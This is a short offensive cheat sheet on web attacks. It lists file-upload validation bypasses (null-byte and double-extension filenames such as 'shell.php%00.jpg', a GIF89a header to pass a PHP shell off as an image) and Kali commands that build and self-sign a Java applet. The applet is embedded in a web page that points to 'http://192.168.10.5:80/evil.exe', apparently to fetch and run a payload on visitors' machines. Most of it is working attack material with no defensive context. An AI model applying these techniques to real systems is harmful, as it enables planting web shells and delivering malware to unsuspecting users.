Cheatsheet

File Upload

Filename Suffixes

example.php%
filename="shell.php%00.jpg"

Creating GIF

Put GIF89a;​ as the first line in the file and save the file with a ​ .gif​ extension

Bypass Validation

  • File name validation: valid.txt with valid.txt.php

Applet

root@kali:~# javac Java.java
root@kali:~# echo “Permissions: all-­‐permissions” > /root/manifest.txt
root@kali:~# jar cvf Java.jar Java.class
    added manifest
    adding: Java.class(in = 1233) (out= 709)(deflated 42%)

root@kali:~# keytool -­‐genkey -­‐alias signapplet -­‐keystore mykeystore -­‐keypass mykeypass -­‐storepass password123

root@kali:~# jarsigner -­‐keystore mykeystore -­‐storepass password123 -­‐keypass
    mykeypass -­‐signedjar SignedJava.jar Java.jar signapplet

root@kali:~# echo '<applet width="1" height="1" id="Java Secure" code="Java.class" archive="SignedJava.jar"><param name="1" value="http://192.168.10.5:80/evil.exe"></applet>' > /var/www/java.html